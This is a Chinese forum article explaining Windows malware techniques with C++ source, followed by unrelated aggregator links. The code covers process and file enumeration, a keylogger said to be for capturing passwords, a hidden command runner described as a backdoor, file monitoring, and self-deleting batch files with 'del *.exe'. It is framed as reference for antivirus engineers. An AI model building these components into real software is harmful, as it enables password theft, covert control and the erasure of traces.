恶意代码常见的编程技术

article/2025/6/8 19:14:31

本文为看雪论优秀文章

看雪论坛作者ID:大二学生

0x00

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。

恶意代码常见功能技术如下:进程遍历,文件遍历,按键记录,后门,桌面截屏,文件监控,自删除,U盘监控。知己知彼,百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。

0x01进程遍历

进程遍历获取计算机上所有进程的信息(用户进程,系统进程),通常是为了检索受害进程,检测是否运行在虚拟机中,以及是否存在杀软等,有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。

具体流程:

1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。

2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。

3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。

4、关闭快照句柄并释放资源

遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。

源码实现:

void ShowError(char *lpszText){char szErr[MAX_PATH] = {0};::wsprintf(szErr, "%s Error[%d]n", lpszText, ::GetLastError);#ifdef _DEBUG::MessageBox(NULL, szErr, "ERROR", MB_OK);#endif}

BOOL EnumProcess{PROCESSENTRY32 pe32 = { 0 };pe32.dwSize = sizeof(PROCESSENTRY32);// 获取全部进程快照HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (INVALID_HANDLE_VALUE == hProcessSnap){ShowError("CreateToolhelp32Snapshot");return FALSE;}

// 获取快照中第一条信息BOOL bRet = ::Process32First(hProcessSnap, &pe32);while (bRet){// 显示 Process IDprintf("[%d]t", pe32.th32ProcessID);

// 显示 进程名称printf("[%s]n", pe32.szExeFile);

// 获取快照中下一条信息bRet = ::Process32Next(hProcessSnap, &pe32);}

// 关闭句柄::CloseHandle(hProcessSnap);

return TRUE;}

BOOL EnumThread{THREADENTRY32 te32 = { 0 };te32.dwSize = sizeof(THREADENTRY32);// 获取全部线程快照HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);if (INVALID_HANDLE_VALUE == hThreadSnap){ShowError("CreateToolhelp32Snapshot");return FALSE;}

// 获取快照中第一条信息BOOL bRet = ::Thread32First(hThreadSnap, &te32);while (bRet){// 显示 Owner Process IDprintf("[%d]t", te32.th32OwnerProcessID);

// 显示 Thread IDprintf("[%d]n", te32.th32ThreadID);

// 获取快照中下一条信息bRet = ::Thread32Next(hThreadSnap, &te32);}

// 关闭句柄::CloseHandle(hThreadSnap);

return TRUE;}

BOOL EnumProcessModule(DWORD dwProcessId){MODULEENTRY32 me32 = { 0 };me32.dwSize = sizeof(MODULEENTRY32);// 获取指定进程全部模块的快照HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);if (INVALID_HANDLE_VALUE == hModuleSnap){ShowError("CreateToolhelp32Snapshot");return FALSE;}

// 获取快照中第一条信息BOOL bRet = ::Module32First(hModuleSnap, &me32);while (bRet){// 显示 Process IDprintf("[%d]t", me32.th32ProcessID);

// 显示 模块加载基址printf("[0x%p]t", me32.modBaseAddr);

// 显示 模块名称printf("[%s]n", me32.szModule);

// 获取快照中下一条信息bRet = ::Module32Next(hModuleSnap, &me32);}

// 关闭句柄::CloseHandle(hModuleSnap);

return TRUE;}

0x02 文件遍历

文件操作几乎是所有恶意代码必备的功能,木马病毒窃取机密文件然后开一个隐秘端口,(之前在kali渗透群看到有人提问如何识别木马,其实有一个简单的方法,几乎所有的木马都要与攻击者的主机通信的,查看打开了哪些奇怪的端口是一种方法)。

就算是再R0下,也经常会创建写入读取文件,文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。

具体流程

1、调用FindFirstFile函数,该函数接收文件路径,第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称,创建日期,属性,大小等信息。

该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录,否则为文件,根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话,则需要对文件属性进行判断。若文件属性是目录,则继续递归搜索,搜索其目录下的目录和文件。

2、调用FindNextFile搜索下一个文件,根据返回值判断是否搜索到文件,若没有则说明文件遍历结束。

3、搜索完毕后,调用FindClose函数关闭搜索句柄,释放资源缓冲区资源。

源代码

void SearchFile(char *pszDirectory){// 搜索指定类型文件DWORD dwBufferSize = 2048;char *pszFileName = NULL;char *pTempSrc = NULL;WIN32_FIND_DATA FileData = {0};BOOL bRet = FALSE;

// 申请动态内存pszFileName = new char[dwBufferSize];pTempSrc = new char[dwBufferSize];

// 构造搜索文件类型字符串, *.*表示搜索所有文件类型::wsprintf(pszFileName, "%s*.*", pszDirectory);

// 搜索第一个文件HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);if (INVALID_HANDLE_VALUE != hFile){do{// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历if ('.' == FileData.cFileName[0]){continue; }// 拼接文件路径 ::wsprintf(pTempSrc, "%s%s", pszDirectory, FileData.cFileName);// 判断是否是目录还是文件if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {// 目录, 则继续往下递归遍历文件SearchFile(pTempSrc);}else {// 文件printf("%sn", pTempSrc);}

// 搜索下一个文件} while (::FindNextFile(hFile, &FileData));}

// 关闭文件句柄::FindClose(hFile);// 释放内存delete []pTempSrc;pTempSrc = NULL;delete []pszFileName;pszFileName = NULL;}

0x03 按键记录

收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。

要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。

具体流程

1、注册原始输入设备

一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别,再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。

2、获取原始输入数据

消息过程中调用 GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用 GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。

dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储键盘按键数据。

3、保存按键信息

GetForegroundWindow获取按键窗口的标题,然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件。

源码

void ShowError(char *pszText){char szErr[MAX_PATH] = { 0 };::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError);::MessageBox(NULL, szErr, "ERROR", MB_OK);}

// 注册原始输入设备BOOL Init(HWND hWnd){// 设置 RAWINPUTDEVICE 结构体信息RAWINPUTDEVICE rawinputDevice = { 0 };rawinputDevice.usUsagePage = 0x01;rawinputDevice.usUsage = 0x06;rawinputDevice.dwFlags = RIDEV_INPUTSINK;rawinputDevice.hwndTarget = hWnd;// 注册原始输入设备BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));if (FALSE == bRet){ShowError("RegisterRawInputDevices");return FALSE;}

return TRUE;}

// 获取原始输入数据BOOL GetData(LPARAM lParam){RAWINPUT rawinputData = { 0 };UINT uiSize = sizeof(rawinputData);

// 获取原始输入数据的大小::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));if (RIM_TYPEKEYBOARD == rawinputData.header.dwType){// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)){// 记录按键SaveKey(rawinputData.data.keyboard.VKey);}}return TRUE;}

// 保存按键信息void SaveKey(USHORT usVKey){char szKey[MAX_PATH] = { 0 };char szTitle[MAX_PATH] = { 0 };char szText[MAX_PATH] = { 0 };FILE *fp = NULL;// 获取顶层窗口HWND hForegroundWnd = ::GetForegroundWindow;// 获取顶层窗口标题::GetWindowText(hForegroundWnd, szTitle, 256);// 将虚拟键码转换成对应的ASCII::lstrcpy(szKey, GetKeyName(usVKey));// 构造按键记录信息字符串::wsprintf(szText, "[%s] %srn", szTitle, szKey);// 打开文件写入按键记录数据::fopen_s(&fp, "keylog.txt", "a+");if (NULL == fp){ShowError("fopen_s");return;}::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);::fclose(fp);}

0x04 后门

后门常以套件的形式存在,用于将受害者信息发送给攻击者或者传输恶意可执行程序(下载器),最常用的功能是接收攻击端传送过来的命令,执行某些操作。

Windows系统中有很多WIN32 API可以执行CMD命令,例如system Winexe CreateProcess等。这里介绍通过匿名管道实现远程CMD。

具体过程

1、初始化匿名管道的SECURITY_ATTRIBUTES结构体,调用CreatePipe创建匿名管道,获取管道数据读取句柄和写入句柄。

2、初始化STARTUPINFO结构体,隐藏进程窗口,并把管道数据写入句柄赋值给新进程控制台窗口的缓存句柄。

3、调用CreateProcess函数创建进程,执行CMD命令并调用WaitForSingleObject等待命令执行完。

4、调用ReadFile根据匿名管道的数据读取句柄从匿名管道的缓冲区中读取数据。

5、关闭句柄,释放资源。

源代码

void ShowError(char *pszText){char szErr[MAX_PATH] = {0};::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError);::MessageBox(NULL, szErr, "ERROR", MB_OK);}

// 执行 cmd 命令, 并获取执行结果数据BOOL PipeCmd(char *pszCmd, char *pszResultBuffer, DWORD dwResultBufferSize){HANDLE hReadPipe = NULL;HANDLE hWritePipe = NULL;SECURITY_ATTRIBUTES securityAttributes = {0};BOOL bRet = FALSE;STARTUPINFO si = {0};PROCESS_INFORMATION pi = {0};

// 设定管道的安全属性securityAttributes.bInheritHandle = TRUE;securityAttributes.nLength = sizeof(securityAttributes);securityAttributes.lpSecurityDeor = NULL;// 创建匿名管道bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);if (FALSE == bRet){ShowError("CreatePipe");return FALSE;}// 设置新进程参数si.cb = sizeof(si);si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdError = hWritePipe;si.hStdOutput = hWritePipe;// 创建新进程执行命令, 将执行结果写入匿名管道中bRet = ::CreateProcess(NULL, pszCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);if (FALSE == bRet){ShowError("CreateProcess");}// 等待命令执行结束::WaitForSingleObject(pi.hThread, INFINITE);::WaitForSingleObject(pi.hProcess, INFINITE);// 从匿名管道中读取结果到输出缓冲区::RtlZeroMemory(pszResultBuffer, dwResultBufferSize);::ReadFile(hReadPipe, pszResultBuffer, dwResultBufferSize, NULL, NULL);// 关闭句柄, 释放内存::CloseHandle(pi.hThread);::CloseHandle(pi.hProcess);::CloseHandle(hWritePipe);::CloseHandle(hReadPipe);

return TRUE;}

0x05文件监控

全局钩子可以实现系统监控,Windows提供了一个文件监控接口函数ReadDirectoryChangesW该函数可以对计算机上所有文件操作进行监控。在调用。

ReadDirectoryChangesW设置监控过滤条件之前,需要通过CreateFile函数打开监控目录,获取监控目录的句柄,之后才能调用ReadDirectoryChangesW函数设置监控过滤条件并阻塞,直到有满足监控过滤条件的操作,ReadDirectoryChangesW才会返回监控数据继续往下执行。

具体过程

1、打开目录,获取文件句柄,调用CreateFile获取文件句柄,文件句柄必须要有FILE_LIST_DIRECTORY权限。

2、调用ReadDirectoryChangesW设置目录监控。

3、判断文件操作类型,只要有满足过滤条件的文件操作,ReadDirectoryChangesW函数会立马返回信息,并将其返回到输出缓冲区中,而且返回数据是按结构体FILE_NOTIFY_INFORMATION返回的。

调用一次ReadDirectoryChangesW函数只会监控一次,要想实现持续监控,则需要程序循环调用ReadDirectoryChangesW函数来设置监控并获取监控数据,由于持续的目录监控需要不停循环调用ReadDirectoryChangesW函数进行设置监控和获取监控数据,所以如果把这段代码放在主线程中则会导致程序阻塞,为了解决主线程阻塞的问题,可以创建一个文件监控子线程,把文件监控的实现代码放到子线程中。

源代码

void ShowError(char *pszText){char szErr[MAX_PATH] = { 0 };::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError);::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_IC);}

// 宽字节字符串转多字节字符串void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen){::RtlZeroMemory(pszDest, iDestLen);// 宽字节字符串转多字节字符串::WideCharToMultiByte(CP_ACP,0,pwszSrc,(iSrcLen / 2),pszDest,iDestLen,NULL,NULL);}

// 目录监控多线程UINT MonitorFileThreadProc(LPVOID lpVoid){char *pszDirectory = (char *)lpVoid;

// 打开目录, 获取文件句柄HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY,FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS, NULL);if (INVALID_HANDLE_VALUE == hDirectory){ShowError("CreateFile");return 1;}

char szTemp[MAX_PATH] = { 0 };BOOL bRet = FALSE;DWORD dwRet = 0;DWORD dwBufferSize = 2048;

// 申请一个足够大的缓冲区BYTE *pBuf = new BYTE[dwBufferSize];if (NULL == pBuf){ShowError("new");return 2;}FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf;

// 开始循环设置监控do{::RtlZeroMemory(pFileNotifyInfo, dwBufferSize);// 设置监控目录bRet = ::ReadDirectoryChangesW(hDirectory,pFileNotifyInfo,dwBufferSize,TRUE,FILE_NOTIFY_CHANGE_FILE_NAME | // 修改文件名FILE_NOTIFY_CHANGE_ATTRIBUTES | // 修改文件属性FILE_NOTIFY_CHANGE_LAST_WRITE, // 最后一次写入&dwRet,NULL,NULL);if (FALSE == bRet){ShowError("ReadDirectoryChangesW");break;}// 将宽字符转换成窄字符W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH);// 判断操作类型并显示switch (pFileNotifyInfo->Action){case FILE_ACTION_ADDED:{// 新增文件printf("[File Added Action]%sn", szTemp);break;}default:{break;}}

} while (bRet);// 关闭句柄, 释放内存::CloseHandle(hDirectory);delete[] pBuf;pBuf = NULL;

return 0;}

// 创建目录监控多线程void MonitorFile(char *pszDirectory){// 创建文件监控多线程::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);}

0x06 自删除

自删除功能对病毒木马来说同样至关重要,它通常在完成目标任务之后删除自身,不留下任何蛛丝马迹,自删除的方法有很多种,常见的有利用MoveFileEx重启删除和利用批处理删除两种方式。

MoveFileEx重启删除

MOVEFILE_DELAY_UNTIL_REBOOT这个标志只能由拥有管理员权限的程序或者拥有本地系统权限的程序使用,而且这个标志不能MOVEFILE_COPY_ALLOWED一起使用,并且,删除文件的路径开头需要加上“?"前缀。

源代码

BOOL RebootDelete(char *pszFileName){// 重启删除文件char szTemp[MAX_PATH] = "?";::lstrcat(szTemp, pszFileName);BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);return bRet;}

int _tmain(int argc, _TCHAR* argv[]){if (FALSE == RebootDelete("C:UsersTestDesktop520.exe")){printf("Set Reboot Delete Error.n");}else{printf("Set Reboot Delete OK.n");}

system("pause");return 0;}

利用批处理命令删除

del %0

批处理命令会将自身批处理文件删除而且不放进回收站。

具体流程

1 构造自删除批处理文件,该批处理文件的功能就是先利用choice或ping命令延迟一定的时间,之后才开始执行删除文件操作,最后执行自删除命令。

2 在程序中创建一个新进程并调用批处理文件,程序在进程创建成功后,立刻退出整个程序。

源代码

BOOL CreateChoiceBat(char *pszBatFileName){int iTime = 5;char szBat[MAX_PATH] = { 0 };

// 构造批处理内容/*@echo offchoice /t 5 /d y /n >nuldel *.exedel %0*/::wsprintf(szBat, "@echo offnchoice /t %d /d y /n >nulndel *.exendel %%0n", iTime);

// 生成批处理文件FILE *fp = NULL;fopen_s(&fp, pszBatFileName, "w+");if (NULL == fp){return FALSE;}fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);fclose(fp);

return TRUE;}

BOOL CreatePingBat(char *pszBatFileName){int iTime = 5;char szBat[MAX_PATH] = {0};

// 构造批处理内容/*@echo offping 127.0.0.1 -n 5del *.exedel %0*/::wsprintf(szBat, "@echo offnping 127.0.0.1 -n %dndel *.exendel %%0n", iTime);

// 生成批处理文件FILE *fp = NULL;fopen_s(&fp, pszBatFileName, "w+");if (NULL == fp){return FALSE;}fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);fclose(fp);

return TRUE;}

BOOL DelSelf(int iType){BOOL bRet = FALSE;char szCurrentDirectory[MAX_PATH] = {0};char szBatFileName[MAX_PATH] = {0};char szCmd[MAX_PATH] = {0};

// 获取当前程序所在目录::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);char *p = strrchr(szCurrentDirectory, '');p[0] = '0';// 构造批处理文件路径::wsprintf(szBatFileName, "%stemp.bat", szCurrentDirectory);// 构造调用执行批处理的 CMD 命令行::wsprintf(szCmd, "cmd /c call "%s"", szBatFileName);

// 创建自删除的批处理文件if (0 == iType){// choice 方式bRet = CreateChoiceBat(szBatFileName);}else if (1 == iType){// ping 方式bRet = CreatePingBat(szBatFileName);}

// 创建新的进程, 以隐藏控制台的方式执行批处理if (bRet){STARTUPINFO si = { 0 };PROCESS_INFORMATION pi;si.cb = sizeof(si);//指定wShowWindow成员有效si.dwFlags = STARTF_USESHOWWINDOW; //此成员设为TRUE的话则显示新建进程的主窗口si.wShowWindow = FALSE; BOOL bRet = CreateProcess(//不在此指定可执行文件的文件名NULL, //命令行参数szCmd, //默认进程安全性NULL, //默认进程安全性NULL, //指定当前进程内句柄不可以被子进程继承FALSE, //为新进程创建一个新的控制台窗口CREATE_NEW_CONSOLE, //使用本进程的环境变量NULL, //使用本进程的驱动器和目录NULL, &si,&pi);if (bRet){//不使用的句柄最好关掉CloseHandle(pi.hThread);CloseHandle(pi.hProcess);

// 结束进程exit(0);::ExitProcess(NULL);}}

return bRet;}

int _tmain(int argc, _TCHAR* argv[]){// 程序自删除BOOL bRet = DelSelf( 0 );if (FALSE == bRet){printf("Selft Delete Error!n");}else{printf("Selft Delete OK!n");}

system("pause");return 0;}

参考资料

  • 看雪论坛:通俗解析IRP和I/O设备栈在内核程序中的作用
  • 《黑客免杀攻防》
  • 《黑客编程技术详解》

看雪ID:大二学生


http://www.hkcw.cn/article/jIuVppLLUN.shtml

相关文章

中国焦炭行业现状深度研究与发展前景分析报告(2023-2030年)

一、焦炭行业概述 焦炭是固体燃料的一种。由煤在约1000℃的高温条件下经干馏而获得。主要成分为固定碳,其次为灰分,所含挥发分和硫分均甚少。呈银灰色,具金属光泽。质硬而多孔。其发热量大多为26380~31400kJ/kg(6300~7500kcal/kg)。 根据观研报告网发布的《中国焦炭行业…

5人晋升少将,他们是……

5人晋升少将,他们是…… 据“人民武警”官方微信公众号报道,6月28日,武警部队举行晋升少将警衔仪式。武警部队司令员王春宁宣读命令,政委张红兵主持仪式。武警部队在京的党委常委出席仪式。武警部队领导与晋升少将警衔的警官合影(来源:“人民武警”官方微信公众号) 8时1…

原创压力变送器连接方式

压力变送器大都安装在现场,其输出信号送至控制室中,而它的供电又来自控制室。变送器的信号传送和供电方式通常有两种接线方式,分别为两线制和四线制。1、两线制接线方式两线制变送器尤多,对于两线制变送器,同变送器连接的导线只有两根,这两根导线同时传输供电电源和输出信号,电…

全球美女排行前十名,世界公认最美女人都有谁?她们的美貌不仅体现在容颜和身材上,更在于精湛的演技。

NO.10 斯嘉丽约翰逊:上帝对她的偏爱,让她拥有了绝美的容颜和出色的演技。黑寡妇这个角色让她成为了漫威宇宙中最具影响力的女性角色之一。她的身材也是一大亮点,被誉为21世纪的玛丽莲梦露。 NO.9 安妮海瑟薇:虽然被称为花瓶,但她的演技同样出色。如《公主日记》、《穿普拉…

原创w两个世界大结局解析

w两个世界的结局是漫画世界消失了,吴成务最后死掉了,走出漫画世界的姜哲和吴妍珠幸福的在一起了。电视剧最后是吴妍珠走到姜哲死去的车站崩溃大哭,就在这个时候姜哲突然出现,把发生的事情都告诉了吴妍珠。 但是吴妍珠晕了过去,再次醒过来依旧发现自己躺在姜哲的怀中,结局…

腊月十九是什么日子,腊月十九有什么风俗

在每一年的腊月十九,都是很多人需要提前准备很久的日子,因为这一天是观音菩萨的还库日。佛家一直是普度众生,大慈大悲的代表。所以,一直有很多人信奉佛教,虽然腊月十九并不是中国的传统节日,但它是佛教之人非常重视的日子。那么腊月十九是什么日子,腊月十九有什么风俗?…

仿古建筑现代架构形式的关键点

古建筑承载着中国传统优秀文化及古代工匠智慧的结晶,仿古建筑作为古建筑的一种现代拓展形式,被越来越多地用来展现国家和城市的新文明和新面貌[1]。现代仿古建筑如何利用现代建造材料及施工技术实现古建筑风貌的复现成为研究的重点。本文以上海某新建仿古建筑园林为背景,阐述…

神曲《哔哔歌》暴红刷屏,上百万的资源愣是没花钱

能哼唱陈奕迅的《浮夸》有啥了不起?听完乔杉的这首“哔哔歌”,你绝对找不着北!“我在开车 老婆副驾 不停的说话 打方向 带点刹 看灯看灯 比导航还多话 我的心就像一壶水慢慢烧开 想把她丢出窗外 不理睬她伸出一只手指挥起来 结果撞上隔离带 她竟然 还怪我 不听她提醒才出的车…

《梦华录》茶文化火了,喂!一起喝茶好不好啊

最近大火的《梦华录》看了没有 除了“神仙姐姐好美啊~”这样的评论外 茶文化也随之进入到了我们的视野之中 大家纷纷直呼 “哇,原来喝茶也有这么多文化” “他们的茶好像很好喝的样子” “在茶上面还能拉花!!!”想体验喝茶的闲适 却苦于找不到地方吗 不必着急 今天,小编带…

学易经四柱八字最好的老师是哪位?

要想易经四柱八字命理学的好,首要的条件就是如何在众多四柱八字老师中选得一位学术水平高且品德厚重的导师作为自己的授课老师。八字不偏于其它学科,八字是一门易学难精的非常规科目,不仅学员对八字要有着浓厚的兴趣,更需要有一位思路清晰且授课逻辑性强,断事准确率高的老…

恩施黑猪“减肥”,勇闯大市场!

近日,记者从湖北农发集团旗下 湖北农发畜牧集团获悉 由该公司生产的黑猪鲜肉产品 在广州市场日销4000斤以上 供不应求黑猪“减肥”闯市场 黑猪,是对大部分黑毛土猪的统称。其被毛全黑、体型较小、适应性强、肉质紧实、口感细腻,自古以来就有较高国民度。黑猪肉也被誉为“黑金…

原创十大纯爱动漫排行揭秘:超甜纯爱番,感受甜甜的恋爱气息

在动漫的世界里,纯爱题材总能以其独特的魅力吸引一大批忠实的观众。它像一股清新的风,吹拂过我们疲惫的心灵,让我们相信爱情的美好。今天,就让我们一起盘点十大纯爱动漫,感受那份纯粹而甜蜜的情感吧! 1. 《月色真美》 排名第一的当属《月色真美》。这部动漫以其细腻的情感…

原创PJ塔克旧事重提!谈当年出任火箭队中锋过程:德安东尼教练太幽默

在篮球运动领域,每位运动员的职业生涯都伴随着高低起落与纷繁转折,而对部分球员而言,其人生历程则更为精彩纷呈,如PJ塔克。他在赛场上呈现出丰富多样的才华,且因偶然的机遇,揭示了自己职业生涯鲜为人知的一段“中锋传奇”。本文旨在详尽剖析这名经验丰富的前锋的篮球生涯…

临夏和政南阳山:浩瀚云海 壮美奇观

临夏州和政县南阳山古称安远山,因山雾缭绕,似烟似纱,如梦如幻,有“安远晴岚”之景名。夜晚的南阳山闪耀着璀璨的光芒,流光溢彩,宁静、优雅而深邃,被神秘的气氛所笼罩。南阳山是一条从太子山延伸而来的山脉,它从太子山延伸而下,入广河县境内,犹如一条长龙横亘在和政县…

低价网站建设到底便宜在哪?正常做个公司网站大概需要多少钱?

最近小编专门做过一个关于网站建设价格的调研,公司网站建设在进行之前,一般都会寻找两家或以上的网站制作公司,了解这些网站建设公司的报价和能力以及看看他们的案例,但基本上都是第一问题就是网站的价格了,其实建站公司与建站公司不一样,报价肯定是不一样的,因为网站建…

精选6款农村现代风格二层农村自建房别墅,详细户型图纸,请收藏!

在农村盖房,大部分人都喜欢大露台的设计,四季享受户外清新的空气和美景,甩开蜗居生活和那些矫情的肥皂剧,如果喜欢BBQ的话,直接在屋外装一个烤炉,在家就可以享受度假生活。不仅可以方便日常生活的晾晒需求,而且还能满足全家人的休闲娱乐生活,提升生活品质。现在农村宅基…

Google优化技巧-SEM关键词全攻略

相信很多优化师在推广了这么久,都有一套自己的选词用词的方式方法,当然不免也有一些刚接触谷歌海外推广的优化师,还不知道在谷歌上该怎么拓展关键词,以及后期如何去优化关键词。那么今天小编就给大家罗列了谷歌拓词工具以及优化小技巧,希望能帮助大家更快、更有效的选择和…

【元旦手工】最美元旦手工花手工教程,赶紧提前收藏吧!

小莉老师突然想起还有一个重要的事情没做,老师们肯定想到了,元旦节手工花!要开始准备了呀!元旦既是新春喜庆的日子,在教室装扮一些花儿点缀,增添一抹靓丽色彩。小莉老师今天都一次性帮你们集齐啦! 作者 丨小莉老师 彩色贺卡花朵 准备材料:剪刀、彩纸、胶、彩笔制作步骤…

夏天酷爱撸串儿又担心危害身体健康,学会这几招让你撸的更过瘾!

炎炎夏日就这样悄无声此地走进了我们的生活,要说起夏天最让人心动的事情,莫过于约上三五好友一起撸串儿了吧!~炎炎夏日就这样悄无声此地走进了我们的生活,要说起夏天最让人心动的事情,莫过于约上三五好友一起撸串儿了吧!~ 这不,又到了一年一度撸串儿的黄金时节,那些号称…

第一次看到中文歌还要放歌词大意…

7月31日,综艺《乘风破浪的姐姐》更新的第8期中出现了令人匪夷所思的一幕:宁静一张口,嘴里蹦出的是中文歌词,屏幕下方却滚动起了歌词大意……还真是第一次看到中文歌放歌词大意的,如果歌词不能放,节目又为什么要选唱这首歌?视频来源:芒果TV 原来,这首由宁静、白冰、郁可…